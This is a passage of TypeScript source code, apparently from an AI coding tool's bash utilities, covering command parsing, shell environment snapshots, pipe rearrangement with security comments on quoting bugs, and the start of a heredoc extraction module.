const lastSegment = this.commandBytes
.subarray(currentStart)
.toString('utf8')
.trim()
if (lastSegment) {
segments.push(lastSegment)
}
return segments
}
withoutOutputRedirections(): string {
if (this.redirectionNodes.length === 0) return this.originalCommand
const sorted = [...this.redirectionNodes].sort(
(a, b) => b.startIndex - a.startIndex,
)
let result = this.commandBytes
for (const redir of sorted) {
result = Buffer.concat([
result.subarray(0, redir.startIndex),
result.subarray(redir.endIndex),
])
}
return result.toString('utf8').trim().replace(/\s+/g, ' ')
}
getOutputRedirections(): OutputRedirection[] {
return this.redirectionNodes.map(({ target, operator }) => ({
target,
operator,
}))
}
getTreeSitterAnalysis(): TreeSitterAnalysis {
return this.treeSitterAnalysis
}
}
const getTreeSitterAvailable = memoize(async (): Promise<boolean> => {
try {
const { parseCommand } = await import('./parser.js')
const testResult = await parseCommand('echo test')
return testResult !== null
} catch {
return false
}
})
/**
* Build a TreeSitterParsedCommand from a pre-parsed AST root. Lets callers
* that already have the tree skip the redundant native.parse that
* ParsedCommand.parse would do.
*/
export function buildParsedCommandFromRoot(
command: string,
root: Node,
): IParsedCommand {
const pipePositions = extractPipePositions(root)
const redirectionNodes = extractRedirectionNodes(root)
const analysis = analyzeCommand(root, command)
return new TreeSitterParsedCommand(
command,
pipePositions,
redirectionNodes,
analysis,
)
}
async function doParse(command: string): Promise<IParsedCommand | null> {
if (!command) return null
const treeSitterAvailable = await getTreeSitterAvailable()
if (treeSitterAvailable) {
try {
const { parseCommand } = await import('./parser.js')
const data = await parseCommand(command)
if (data) {
// Native NAPI parser returns plain JS objects (no WASM handles);
// nothing to free — extract directly.
return buildParsedCommandFromRoot(command, data.rootNode)
}
} catch {
// Fall through to regex implementation
}
}
// Fallback to regex implementation
return new RegexParsedCommand_DEPRECATED(command)
}
// Single-entry cache: legacy callers (bashCommandIsSafeAsync,
// buildSegmentWithoutRedirections) may call ParsedCommand.parse repeatedly
// with the same command string. Each parse() is ~1 native.parse + ~6 tree
// walks, so caching the most recent command skips the redundant work.
// Size-1 bound avoids leaking TreeSitterParsedCommand instances.
let lastCmd: string | undefined
let lastResult: Promise<IParsedCommand | null> | undefined
/**
* ParsedCommand provides methods for working with shell commands.
* Uses tree-sitter when available for quote-aware parsing,
* falls back to regex-based parsing otherwise.
*/
export const ParsedCommand = {
/**
* Parse a command string and return a ParsedCommand instance.
* Returns null if parsing fails completely.
*/
parse(command: string): Promise<IParsedCommand | null> {
if (command === lastCmd && lastResult !== undefined) {
return lastResult
}
lastCmd = command
lastResult = doParse(command)
return lastResult
},
}

View File

@@ -0,0 +1,582 @@
import { execFile } from 'child_process'
import { execa } from 'execa'
import { mkdir, stat } from 'fs/promises'
import * as os from 'os'
import { join } from 'path'
import { logEvent } from 'src/services/analytics/index.js'
import { registerCleanup } from '../cleanupRegistry.js'
import { getCwd } from '../cwd.js'
import { logForDebugging } from '../debug.js'
import {
embeddedSearchToolsBinaryPath,
hasEmbeddedSearchTools,
} from '../embeddedTools.js'
import { getClaudeConfigHomeDir } from '../envUtils.js'
import { pathExists } from '../file.js'
import { getFsImplementation } from '../fsOperations.js'
import { logError } from '../log.js'
import { getPlatform } from '../platform.js'
import { ripgrepCommand } from '../ripgrep.js'
import { subprocessEnv } from '../subprocessEnv.js'
import { quote } from './shellQuote.js'
const LITERAL_BACKSLASH = '\\'
const SNAPSHOT_CREATION_TIMEOUT = 10000 // 10 seconds
/**
* Creates a shell function that invokes `binaryPath` with a specific argv[0].
* This uses the bun-internal ARGV0 dispatch trick: the bun binary checks its
* argv[0] and runs the embedded tool (rg, bfs, ugrep) that matches.
*
* @param prependArgs - Arguments to inject before the user's args (e.g.,
* default flags). Injected literally; each element must be a valid shell
* word (no spaces/special chars).
*/
function createArgv0ShellFunction(
funcName: string,
argv0: string,
binaryPath: string,
prependArgs: string[] = [],
): string {
const quotedPath = quote([binaryPath])
const argSuffix =
prependArgs.length > 0 ? `${prependArgs.join(' ')} "$@"` : '"$@"'
return [
`function ${funcName} {`,
' if [[ -n $ZSH_VERSION ]]; then',
` ARGV0=${argv0} ${quotedPath} ${argSuffix}`,
' elif [[ "$OSTYPE" == "msys" ]] || [[ "$OSTYPE" == "cygwin" ]] || [[ "$OSTYPE" == "win32" ]]; then',
// On Windows (git bash), exec -a does not work, so use ARGV0 env var instead
// The bun binary reads from ARGV0 natively to set argv[0]
` ARGV0=${argv0} ${quotedPath} ${argSuffix}`,
' elif [[ $BASHPID != $$ ]]; then',
` exec -a ${argv0} ${quotedPath} ${argSuffix}`,
' else',
` (exec -a ${argv0} ${quotedPath} ${argSuffix})`,
' fi',
'}',
].join('\n')
}
/**
* Creates ripgrep shell integration (alias or function)
* @returns Object with type and the shell snippet to use
*/
export function createRipgrepShellIntegration(): {
type: 'alias' | 'function'
snippet: string
} {
const rgCommand = ripgrepCommand()
// For embedded ripgrep (bun-internal), we need a shell function that sets argv0
if (rgCommand.argv0) {
return {
type: 'function',
snippet: createArgv0ShellFunction(
'rg',
rgCommand.argv0,
rgCommand.rgPath,
),
}
}
// For regular ripgrep, use a simple alias target
const quotedPath = quote([rgCommand.rgPath])
const quotedArgs = rgCommand.rgArgs.map(arg => quote([arg]))
const aliasTarget =
rgCommand.rgArgs.length > 0
? `${quotedPath} ${quotedArgs.join(' ')}`
: quotedPath
return { type: 'alias', snippet: aliasTarget }
}
/**
* VCS directories to exclude from grep searches. Matches the list in
* GrepTool (see GrepTool.ts: VCS_DIRECTORIES_TO_EXCLUDE).
*/
const VCS_DIRECTORIES_TO_EXCLUDE = [
'.git',
'.svn',
'.hg',
'.bzr',
'.jj',
'.sl',
] as const
/**
* Creates shell integration for `find` and `grep`, backed by bfs and ugrep
* embedded in the bun binary (ant-native only). Unlike the rg integration,
* this always shadows the system find/grep since bfs/ugrep are drop-in
* replacements and we want consistent fast behavior.
*
* These wrappers replace the GlobTool/GrepTool dedicated tools (which are
* removed from the tool registry when embedded search tools are available),
* so they're tuned to match those tools' semantics, not GNU find/grep.
*
* `find` ↔ GlobTool:
* - Inject `-regextype findutils-default`: bfs defaults to POSIX BRE for
* -regex, but GNU find defaults to emacs-flavor (which supports `\|`
* alternation). Without this, `find . -regex '.*\.\(js\|ts\)'` silently
* returns zero results. A later user-supplied -regextype still overrides.
* - No gitignore filtering: GlobTool passes `--no-ignore` to rg. bfs has no
* gitignore support anyway, so this matches by default.
* - Hidden files included: both GlobTool (`--hidden`) and bfs's default.
*
* Caveat: even with findutils-default, Oniguruma (bfs's regex engine) uses
* leftmost-first alternation, not POSIX leftmost-longest. Patterns where
* one alternative is a prefix of another (e.g., `\(ts\|tsx\)`) may miss
* matches that GNU find catches. Workaround: put the longer alternative first.
*
* `grep` ↔ GrepTool (file filtering) + GNU grep (regex syntax):
* - `-G` (basic regex / BRE): GNU grep defaults to BRE where `\|` is
* alternation. ugrep defaults to ERE where `|` is alternation and `\|` is a
* literal pipe. Without -G, `grep "foo\|bar"` silently returns zero results.
* User-supplied `-E`, `-F`, or `-P` later in argv overrides this.
* - `--ignore-files`: respect .gitignore (GrepTool uses rg's default, which
* respects gitignore). Override with `grep --no-ignore-files`.
* - `--hidden`: include hidden files (GrepTool passes `--hidden` to rg).
* Override with `grep --no-hidden`.
* - `--exclude-dir` for VCS dirs: GrepTool passes `--glob '!.git'` etc. to rg.
* - `-I`: skip binary files. rg's recursion silently skips binary matches
* by default (different from direct-file-arg behavior); ugrep doesn't, so
* we inject -I to match. Override with `grep -a`.
*
* Not replicated from GrepTool:
* - `--max-columns 500`: ugrep's `--width` hard-truncates output which could
* break pipelines; rg's version replaces the line with a placeholder.
* - Read deny rules / plugin cache exclusions: require toolPermissionContext
* which isn't available at shell-snapshot creation time.
*
* Returns null if embedded search tools are not available in this build.
*/
export function createFindGrepShellIntegration(): string | null {
if (!hasEmbeddedSearchTools()) {
return null
}
const binaryPath = embeddedSearchToolsBinaryPath()
return [
// User shell configs may define aliases like `alias find=gfind` or
// `alias grep=ggrep` (common on macOS with Homebrew GNU tools). The
// snapshot sources user aliases before these function definitions, and
// bash expands aliases before function lookup — so a renaming alias
// would silently bypass the embedded bfs/ugrep dispatch. Clear them first
// (same fix the rg integration uses).
'unalias find 2>/dev/null || true',
'unalias grep 2>/dev/null || true',
createArgv0ShellFunction('find', 'bfs', binaryPath, [
'-regextype',
'findutils-default',
]),
createArgv0ShellFunction('grep', 'ugrep', binaryPath, [
'-G',
'--ignore-files',
'--hidden',
'-I',
...VCS_DIRECTORIES_TO_EXCLUDE.map(d => `--exclude-dir=${d}`),
]),
].join('\n')
}
function getConfigFile(shellPath: string): string {
const fileName = shellPath.includes('zsh')
? '.zshrc'
: shellPath.includes('bash')
? '.bashrc'
: '.profile'
const configPath = join(os.homedir(), fileName)
return configPath
}
/**
* Generates user-specific snapshot content (functions, options, aliases)
* This content is derived from the user's shell configuration file
*/
function getUserSnapshotContent(configFile: string): string {
const isZsh = configFile.endsWith('.zshrc')
let content = ''
// User functions
if (isZsh) {
content += `
echo "# Functions" >> "$SNAPSHOT_FILE"
# Force autoload all functions first
typeset -f > /dev/null 2>&1
# Now get user function names - filter completion functions (single underscore prefix)
# but keep double-underscore helpers (e.g. __zsh_like_cd from mise, __pyenv_init)
typeset +f | grep -vE '^_[^_]' | while read func; do
typeset -f "$func" >> "$SNAPSHOT_FILE"
done
`
} else {
content += `
echo "# Functions" >> "$SNAPSHOT_FILE"
# Force autoload all functions first
declare -f > /dev/null 2>&1
# Now get user function names - filter completion functions (single underscore prefix)
# but keep double-underscore helpers (e.g. __zsh_like_cd from mise, __pyenv_init)
declare -F | cut -d' ' -f3 | grep -vE '^_[^_]' | while read func; do
# Encode the function to base64, preserving all special characters
encoded_func=$(declare -f "$func" | base64 )
# Write the function definition to the snapshot
echo "eval ${LITERAL_BACKSLASH}"${LITERAL_BACKSLASH}$(echo '$encoded_func' | base64 -d)${LITERAL_BACKSLASH}" > /dev/null 2>&1" >> "$SNAPSHOT_FILE"
done
`
}
// Shell options
if (isZsh) {
content += `
echo "# Shell Options" >> "$SNAPSHOT_FILE"
setopt | sed 's/^/setopt /' | head -n 1000 >> "$SNAPSHOT_FILE"
`
} else {
content += `
echo "# Shell Options" >> "$SNAPSHOT_FILE"
shopt -p | head -n 1000 >> "$SNAPSHOT_FILE"
set -o | grep "on" | awk '{print "set -o " $1}' | head -n 1000 >> "$SNAPSHOT_FILE"
echo "shopt -s expand_aliases" >> "$SNAPSHOT_FILE"
`
}
// User aliases
content += `
echo "# Aliases" >> "$SNAPSHOT_FILE"
# Filter out winpty aliases on Windows to avoid "stdin is not a tty" errors
# Git Bash automatically creates aliases like "alias node='winpty node.exe'" for
# programs that need Win32 Console in mintty, but winpty fails when there's no TTY
if [[ "$OSTYPE" == "msys" ]] || [[ "$OSTYPE" == "cygwin" ]]; then
alias | grep -v "='winpty " | sed 's/^alias //g' | sed 's/^/alias -- /' | head -n 1000 >> "$SNAPSHOT_FILE"
else
alias | sed 's/^alias //g' | sed 's/^/alias -- /' | head -n 1000 >> "$SNAPSHOT_FILE"
fi
`
return content
}
/**
* Generates Claude Code specific snapshot content
* This content is always included regardless of user configuration
*/
async function getClaudeCodeSnapshotContent(): Promise<string> {
// Get the appropriate PATH based on platform
let pathValue = process.env.PATH
if (getPlatform() === 'windows') {
// On Windows with git-bash, read the Cygwin PATH
const cygwinResult = await execa('echo $PATH', {
shell: true,
reject: false,
})
if (cygwinResult.exitCode === 0 && cygwinResult.stdout) {
pathValue = cygwinResult.stdout.trim()
}
// Fall back to process.env.PATH if we can't get Cygwin PATH
}
const rgIntegration = createRipgrepShellIntegration()
let content = ''
// Check if rg is available, if not create an alias/function to bundled ripgrep
// We use a subshell to unalias rg before checking, so that user aliases like
// `alias rg='rg --smart-case'` don't shadow the real binary check. The subshell
// ensures we don't modify the user's aliases in the parent shell.
content += `
# Check for rg availability
echo "# Check for rg availability" >> "$SNAPSHOT_FILE"
echo "if ! (unalias rg 2>/dev/null; command -v rg) >/dev/null 2>&1; then" >> "$SNAPSHOT_FILE"
`
if (rgIntegration.type === 'function') {
// For embedded ripgrep, write the function definition using heredoc
content += `
cat >> "$SNAPSHOT_FILE" << 'RIPGREP_FUNC_END'
${rgIntegration.snippet}
RIPGREP_FUNC_END
`
} else {
// For regular ripgrep, write a simple alias
const escapedSnippet = rgIntegration.snippet.replace(/'/g, "'\\''")
content += `
echo ' alias rg='"'${escapedSnippet}'" >> "$SNAPSHOT_FILE"
`
}
content += `
echo "fi" >> "$SNAPSHOT_FILE"
`
// For ant-native builds, shadow find/grep with bfs/ugrep embedded in the bun
// binary. Unlike rg (which only activates if system rg is absent), we always
// shadow find/grep since bfs/ugrep are drop-in replacements and we want
// consistent fast behavior in Claude's shell.
const findGrepIntegration = createFindGrepShellIntegration()
if (findGrepIntegration !== null) {
content += `
# Shadow find/grep with embedded bfs/ugrep (ant-native only)
echo "# Shadow find/grep with embedded bfs/ugrep" >> "$SNAPSHOT_FILE"
cat >> "$SNAPSHOT_FILE" << 'FIND_GREP_FUNC_END'
${findGrepIntegration}
FIND_GREP_FUNC_END
`
}
// Add PATH to the file
content += `
# Add PATH to the file
echo "export PATH=${quote([pathValue || ''])}" >> "$SNAPSHOT_FILE"
`
return content
}
/**
* Creates the appropriate shell script for capturing environment
*/
async function getSnapshotScript(
shellPath: string,
snapshotFilePath: string,
configFileExists: boolean,
): Promise<string> {
const configFile = getConfigFile(shellPath)
const isZsh = configFile.endsWith('.zshrc')
// Generate the user content and Claude Code content
const userContent = configFileExists
? getUserSnapshotContent(configFile)
: !isZsh
? // we need to manually force alias expansion in bash - normally `getUserSnapshotContent` takes care of this
'echo "shopt -s expand_aliases" >> "$SNAPSHOT_FILE"'
: ''
const claudeCodeContent = await getClaudeCodeSnapshotContent()
const script = `SNAPSHOT_FILE=${quote([snapshotFilePath])}
${configFileExists ? `source "${configFile}" < /dev/null` : '# No user config file to source'}
# First, create/clear the snapshot file
echo "# Snapshot file" >| "$SNAPSHOT_FILE"
# When this file is sourced, we first unalias to avoid conflicts
# This is necessary because aliases get "frozen" inside function definitions at definition time,
# which can cause unexpected behavior when functions use commands that conflict with aliases
echo "# Unset all aliases to avoid conflicts with functions" >> "$SNAPSHOT_FILE"
echo "unalias -a 2>/dev/null || true" >> "$SNAPSHOT_FILE"
${userContent}
${claudeCodeContent}
# Exit silently on success, only report errors
if [ ! -f "$SNAPSHOT_FILE" ]; then
echo "Error: Snapshot file was not created at $SNAPSHOT_FILE" >&2
exit 1
fi
`
return script
}
/**
* Creates and saves the shell environment snapshot by loading the user's shell configuration
*
* This function is a critical part of Claude CLI's shell integration strategy. It:
*
* 1. Identifies the user's shell config file (.zshrc, .bashrc, etc.)
* 2. Creates a temporary script that sources this configuration file
* 3. Captures the resulting shell environment state including:
* - Functions defined in the user's shell configuration
* - Shell options and settings that affect command behavior
* - Aliases that the user has defined
*
* The snapshot is saved to a temporary file that can be sourced by subsequent shell
* commands, ensuring they run with the user's expected environment, aliases, and functions.
*
* This approach allows Claude CLI to execute commands as if they were run in the user's
* interactive shell, while avoiding the overhead of creating a new login shell for each command.
* It handles both Bash and Zsh shells with their different syntax for functions, options, and aliases.
*
* If the snapshot creation fails (e.g., timeout, permissions issues), the CLI will still
* function but without the user's custom shell environment, potentially missing aliases
* and functions the user relies on.
*
* @returns Promise that resolves to the snapshot file path or undefined if creation failed
*/
export const createAndSaveSnapshot = async (
binShell: string,
): Promise<string | undefined> => {
const shellType = binShell.includes('zsh')
? 'zsh'
: binShell.includes('bash')
? 'bash'
: 'sh'
logForDebugging(`Creating shell snapshot for ${shellType} (${binShell})`)
return new Promise(async resolve => {
try {
const configFile = getConfigFile(binShell)
logForDebugging(`Looking for shell config file: ${configFile}`)
const configFileExists = await pathExists(configFile)
if (!configFileExists) {
logForDebugging(
`Shell config file not found: ${configFile}, creating snapshot with Claude Code defaults only`,
)
}
// Create unique snapshot path with timestamp and random ID
const timestamp = Date.now()
const randomId = Math.random().toString(36).substring(2, 8)
const snapshotsDir = join(getClaudeConfigHomeDir(), 'shell-snapshots')
logForDebugging(`Snapshots directory: ${snapshotsDir}`)
const shellSnapshotPath = join(
snapshotsDir,
`snapshot-${shellType}-${timestamp}-${randomId}.sh`,
)
// Ensure snapshots directory exists
await mkdir(snapshotsDir, { recursive: true })
const snapshotScript = await getSnapshotScript(
binShell,
shellSnapshotPath,
configFileExists,
)
logForDebugging(`Creating snapshot at: ${shellSnapshotPath}`)
logForDebugging(`Execution timeout: ${SNAPSHOT_CREATION_TIMEOUT}ms`)
execFile(
binShell,
['-c', '-l', snapshotScript],
{
env: {
...((process.env.CLAUDE_CODE_DONT_INHERIT_ENV
? {}
: subprocessEnv()) as typeof process.env),
SHELL: binShell,
GIT_EDITOR: 'true',
CLAUDECODE: '1',
},
timeout: SNAPSHOT_CREATION_TIMEOUT,
maxBuffer: 1024 * 1024, // 1MB buffer
encoding: 'utf8',
},
async (error, stdout, stderr) => {
if (error) {
const execError = error as Error & {
killed?: boolean
signal?: string
code?: number
}
logForDebugging(`Shell snapshot creation failed: ${error.message}`)
logForDebugging(`Error details:`)
logForDebugging(` - Error code: ${execError?.code}`)
logForDebugging(` - Error signal: ${execError?.signal}`)
logForDebugging(` - Error killed: ${execError?.killed}`)
logForDebugging(` - Shell path: ${binShell}`)
logForDebugging(` - Config file: ${getConfigFile(binShell)}`)
logForDebugging(` - Config file exists: ${configFileExists}`)
logForDebugging(` - Working directory: ${getCwd()}`)
logForDebugging(` - Claude home: ${getClaudeConfigHomeDir()}`)
logForDebugging(`Full snapshot script:\n${snapshotScript}`)
if (stdout) {
logForDebugging(
`stdout output (${stdout.length} chars):\n${stdout}`,
)
} else {
logForDebugging(`No stdout output captured`)
}
if (stderr) {
logForDebugging(
`stderr output (${stderr.length} chars): ${stderr}`,
)
} else {
logForDebugging(`No stderr output captured`)
}
logError(
new Error(`Failed to create shell snapshot: ${error.message}`),
)
// Convert signal name to number if present
const signalNumber = execError?.signal
? os.constants.signals[
execError.signal as keyof typeof os.constants.signals
]
: undefined
logEvent('tengu_shell_snapshot_failed', {
stderr_length: stderr?.length || 0,
has_error_code: !!execError?.code,
error_signal_number: signalNumber,
error_killed: execError?.killed,
})
resolve(undefined)
} else {
let snapshotSize: number | undefined
try {
snapshotSize = (await stat(shellSnapshotPath)).size
} catch {
// Snapshot file not found
}
if (snapshotSize !== undefined) {
logForDebugging(
`Shell snapshot created successfully (${snapshotSize} bytes)`,
)
// Register cleanup to remove snapshot on graceful shutdown
registerCleanup(async () => {
try {
await getFsImplementation().unlink(shellSnapshotPath)
logForDebugging(
`Cleaned up session snapshot: ${shellSnapshotPath}`,
)
} catch (error) {
logForDebugging(
`Error cleaning up session snapshot: ${error}`,
)
}
})
resolve(shellSnapshotPath)
} else {
logForDebugging(
`Shell snapshot file not found after creation: ${shellSnapshotPath}`,
)
logForDebugging(
`Checking if parent directory still exists: ${snapshotsDir}`,
)
try {
const dirContents =
await getFsImplementation().readdir(snapshotsDir)
logForDebugging(
`Directory contains ${dirContents.length} files`,
)
} catch {
logForDebugging(
`Parent directory does not exist or is not accessible: ${snapshotsDir}`,
)
}
logEvent('tengu_shell_unknown_error', {})
resolve(undefined)
}
}
},
)
} catch (error) {
logForDebugging(`Unexpected error during snapshot creation: ${error}`)
if (error instanceof Error) {
logForDebugging(`Error stack trace: ${error.stack}`)
}
logError(error)
logEvent('tengu_shell_snapshot_error', {})
resolve(undefined)
}
})
}

2679
src/utils/bash/ast.ts Normal file

File diff suppressed because it is too large Load Diff

4436
src/utils/bash/bashParser.ts Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,294 @@
import {
hasMalformedTokens,
hasShellQuoteSingleQuoteBug,
type ParseEntry,
quote,
tryParseShellCommand,
} from './shellQuote.js'
/**
* Rearranges a command with pipes to place stdin redirect after the first command.
* This fixes an issue where eval treats the entire piped command as a single unit,
* causing the stdin redirect to apply to eval itself rather than the first command.
*/
export function rearrangePipeCommand(command: string): string {
// Skip if command has backticks - shell-quote doesn't handle them well
if (command.includes('`')) {
return quoteWithEvalStdinRedirect(command)
}
// Skip if command has command substitution - shell-quote parses $() incorrectly,
// treating ( and ) as separate operators instead of recognizing command substitution
if (command.includes('$(')) {
return quoteWithEvalStdinRedirect(command)
}
// Skip if command references shell variables ($VAR, ${VAR}). shell-quote's parse()
// expands these to empty string when no env is passed, silently dropping the
// reference. Even if we preserved the token via an env function, quote() would
// then escape the $ during rebuild, preventing runtime expansion. See #9732.
if (/\$[A-Za-z_{]/.test(command)) {
return quoteWithEvalStdinRedirect(command)
}
// Skip if command contains bash control structures (for/while/until/if/case/select)
// shell-quote cannot parse these correctly and will incorrectly find pipes inside
// the control structure body, breaking the command when rearranged
if (containsControlStructure(command)) {
return quoteWithEvalStdinRedirect(command)
}
// Join continuation lines before parsing: shell-quote doesn't handle \<newline>
// and produces empty string tokens for each occurrence, causing spurious empty
// arguments in the reconstructed command
const joined = joinContinuationLines(command)
// shell-quote treats bare newlines as whitespace, not command separators.
// Parsing+rebuilding 'cmd1 | head\ncmd2 | grep' yields 'cmd1 | head cmd2 | grep',
// silently merging pipelines. Line-continuation (\<newline>) is already stripped
// above; any remaining newline is a real separator. Bail to the eval fallback,
// which preserves the newline inside a single-quoted arg. See #32515.
if (joined.includes('\n')) {
return quoteWithEvalStdinRedirect(command)
}
// SECURITY: shell-quote treats \' inside single quotes as an escape, but
// bash treats it as literal \ followed by a closing quote. The pattern
// '\' <payload> '\' makes shell-quote merge <payload> into the quoted
// string, hiding operators like ; from the token stream. Rebuilding from
// that merged token can expose the operators when bash re-parses.
if (hasShellQuoteSingleQuoteBug(joined)) {
return quoteWithEvalStdinRedirect(command)
}
const parseResult = tryParseShellCommand(joined)
// If parsing fails (malformed syntax), fall back to quoting the whole command
if (!parseResult.success) {
return quoteWithEvalStdinRedirect(command)
}
const parsed = parseResult.tokens
// SECURITY: shell-quote tokenizes differently from bash. Input like
// `echo {"hi":\"hi;calc.exe"}` is a bash syntax error (unbalanced quote),
// but shell-quote parses it into tokens with `;` as an operator and
// `calc.exe` as a separate word. Rebuilding from those tokens produces
// valid bash that executes `calc.exe` — turning a syntax error into an
// injection. Unbalanced delimiters in a string token signal this
// misparsing; fall back to whole-command quoting, which preserves the
// original (bash then rejects it with the same syntax error it would have
// raised without us).
if (hasMalformedTokens(joined, parsed)) {
return quoteWithEvalStdinRedirect(command)
}
const firstPipeIndex = findFirstPipeOperator(parsed)
if (firstPipeIndex <= 0) {
return quoteWithEvalStdinRedirect(command)
}
// Rebuild: first_command < /dev/null | rest_of_pipeline
const parts = [
...buildCommandParts(parsed, 0, firstPipeIndex),
'< /dev/null',
...buildCommandParts(parsed, firstPipeIndex, parsed.length),
]
return singleQuoteForEval(parts.join(' '))
}
/**
* Finds the index of the first pipe operator in parsed shell command
*/
function findFirstPipeOperator(parsed: ParseEntry[]): number {
for (let i = 0; i < parsed.length; i++) {
const entry = parsed[i]
if (isOperator(entry, '|')) {
return i
}
}
return -1
}
/**
* Builds command parts from parsed entries, handling strings and operators.
* Special handling for file descriptor redirections to preserve them as single units.
*/
function buildCommandParts(
parsed: ParseEntry[],
start: number,
end: number,
): string[] {
const parts: string[] = []
// Track if we've seen a non-env-var string token yet
// Environment variables are only valid at the start of a command
let seenNonEnvVar = false
for (let i = start; i < end; i++) {
const entry = parsed[i]
// Check for file descriptor redirections (e.g., 2>&1, 2>/dev/null)
if (
typeof entry === 'string' &&
/^[012]$/.test(entry) &&
i + 2 < end &&
isOperator(parsed[i + 1])
) {
const op = parsed[i + 1] as { op: string }
const target = parsed[i + 2]
// Handle 2>&1 style redirections
if (
op.op === '>&' &&
typeof target === 'string' &&
/^[012]$/.test(target)
) {
parts.push(`${entry}>&${target}`)
i += 2
continue
}
// Handle 2>/dev/null style redirections
if (op.op === '>' && target === '/dev/null') {
parts.push(`${entry}>/dev/null`)
i += 2
continue
}
// Handle 2> &1 style (space between > and &1)
if (
op.op === '>' &&
typeof target === 'string' &&
target.startsWith('&')
) {
const fd = target.slice(1)
if (/^[012]$/.test(fd)) {
parts.push(`${entry}>&${fd}`)
i += 2
continue
}
}
}
// Handle regular entries
if (typeof entry === 'string') {
// Environment variable assignments are only valid at the start of a command,
// before any non-env-var tokens (the actual command and its arguments)
const isEnvVar = !seenNonEnvVar && isEnvironmentVariableAssignment(entry)
if (isEnvVar) {
// For env var assignments, we need to preserve the = but quote the value if needed
// Split into name and value parts
const eqIndex = entry.indexOf('=')
const name = entry.slice(0, eqIndex)
const value = entry.slice(eqIndex + 1)
// Quote the value part to handle spaces and special characters
const quotedValue = quote([value])
parts.push(`${name}=${quotedValue}`)
} else {
// Once we see a non-env-var string, all subsequent strings are arguments
seenNonEnvVar = true
parts.push(quote([entry]))
}
} else if (isOperator(entry)) {
// Special handling for glob operators
if (entry.op === 'glob' && 'pattern' in entry) {
// Don't quote glob patterns - they need to remain as-is for shell expansion
parts.push(entry.pattern as string)
} else {
parts.push(entry.op)
// Reset after command separators - the next command can have its own env vars
if (isCommandSeparator(entry.op)) {
seenNonEnvVar = false
}
}
}
}
return parts
}
/**
* Checks if a string is an environment variable assignment (VAR=value)
* Environment variable names must start with letter or underscore,
* followed by letters, numbers, or underscores
*/
function isEnvironmentVariableAssignment(str: string): boolean {
return /^[A-Za-z_][A-Za-z0-9_]*=/.test(str)
}
/**
* Checks if an operator is a command separator that starts a new command context.
* After these operators, environment variable assignments are valid again.
*/
function isCommandSeparator(op: string): boolean {
return op === '&&' || op === '||' || op === ';'
}
/**
* Type guard to check if a parsed entry is an operator
*/
function isOperator(entry: unknown, op?: string): entry is { op: string } {
if (!entry || typeof entry !== 'object' || !('op' in entry)) {
return false
}
return op ? entry.op === op : true
}
/**
* Checks if a command contains bash control structures that shell-quote cannot parse.
* These include for/while/until/if/case/select loops and conditionals.
* We match keywords followed by whitespace to avoid false positives with commands
* or arguments that happen to contain these words.
*/
function containsControlStructure(command: string): boolean {
return /\b(for|while|until|if|case|select)\s/.test(command)
}
/**
* Quotes a command and adds `< /dev/null` as a shell redirect on eval, rather than
* as an eval argument. This is critical for pipe commands where we can't parse the
* pipe boundary (e.g., commands with $(), backticks, or control structures).
*
* Using `singleQuoteForEval(cmd) + ' < /dev/null'` produces: eval 'cmd' < /dev/null
* → eval's stdin is /dev/null, eval evaluates 'cmd', pipes inside work correctly
*
* The previous approach `quote([cmd, '<', '/dev/null'])` produced: eval 'cmd' \< /dev/null
* → eval concatenates args to 'cmd < /dev/null', redirect applies to LAST pipe command
*/
function quoteWithEvalStdinRedirect(command: string): string {
return singleQuoteForEval(command) + ' < /dev/null'
}
/**
* Single-quote a string for use as an eval argument. Escapes embedded single
* quotes via '"'"' (close-sq, literal-sq-in-dq, reopen-sq). Used instead of
* shell-quote's quote() which switches to double-quote mode when the input
* contains single quotes and then escapes ! -> \!, corrupting jq/awk filters
* like `select(.x != .y)` into `select(.x \!= .y)`.
*/
function singleQuoteForEval(s: string): string {
return "'" + s.replace(/'/g, `'"'"'`) + "'"
}
/**
* Joins shell continuation lines (backslash-newline) into a single line.
* Only joins when there's an odd number of backslashes before the newline
* (the last one escapes the newline). Even backslashes pair up as escape
* sequences and the newline remains a separator.
*/
function joinContinuationLines(command: string): string {
return command.replace(/\\+\n/g, match => {
const backslashCount = match.length - 1 // -1 for the newline
if (backslashCount % 2 === 1) {
// Odd number: last backslash escapes the newline (line continuation)
return '\\'.repeat(backslashCount - 1)
} else {
// Even number: all pair up, newline is a real separator
return match
}
})
}

1339
src/utils/bash/commands.ts Normal file

File diff suppressed because it is too large Load Diff

733
src/utils/bash/heredoc.ts Normal file
View File

@@ -0,0 +1,733 @@
/**
* Heredoc extraction and restoration utilities.
*
* The shell-quote library parses `<<` as two separate `<` redirect operators,
* which breaks command splitting for heredoc syntax. This module provides
* utilities to extract heredocs before parsing and restore them after.
*
* Supported heredoc variations:
* - <<WORD - basic heredoc
* - <<'WORD' - single-quoted delimiter (no variable expansion in content)
* - <<"WORD" - double-quoted delimiter (with variable expansion)
* - <<-WORD - dash prefix (strips leading tabs from content)
* - <<-'WORD' - combined dash and quoted delimiter
*
* Known limitations:
* - Heredocs inside backtick command substitution may not be extracted
* - Very complex multi-heredoc scenarios may not be extracted
*
* When extraction fails, the command passes through unchanged. This is safe
* because the unextracted heredoc will either cause shell-quote parsing to fail
* (falling back to treating the whole command as one unit) or require manual
* approval for each apparent subcommand.
*
* @module
*/
import { randomBytes } from 'crypto'
const HEREDOC_PLACEHOLDER_PREFIX = '__HEREDOC_'
const HEREDOC_PLACEHOLDER_SUFFIX = '__'
/**
* Generates a random hex string for placeholder uniqueness.
* This prevents collision when command text literally contains "__HEREDOC_N__".
*/
function generatePlaceholderSalt(): string {
// Generate 8 random bytes as hex (16 characters)
return randomBytes(8).toString('hex')
}
/**
* Regex pattern for matching heredoc start syntax.
*
* Two alternatives handle quoted vs unquoted delimiters differently:
*
* Alternative 1 (quoted): (['"]) (\\?\w+) \2
* Captures the opening quote, then the delimiter word (which MAY include a
* leading backslash since it's literal inside quotes), then the closing quote.
* In bash, single quotes make EVERYTHING literal including backslashes:
* <<'\EOF' → delimiter is \EOF (with backslash)
* <<'EOF' → delimiter is EOF
* Double quotes also preserve backslashes before non-special chars:
* <<"\EOF" → delimiter is \EOF
*
* Alternative 2 (unquoted): \\?(\w+)
* Optionally consumes a leading backslash (escape), then captures the word.
* In bash, an unquoted backslash escapes the next character:
* <<\EOF → delimiter is EOF (backslash consumed as escape)
* <<EOF → delimiter is EOF (plain)
*
* SECURITY: The backslash MUST be inside the capture group for quoted
* delimiters but OUTSIDE for unquoted ones. The old regex had \\? outside
* the capture group unconditionally, causing <<'\EOF' to extract delimiter
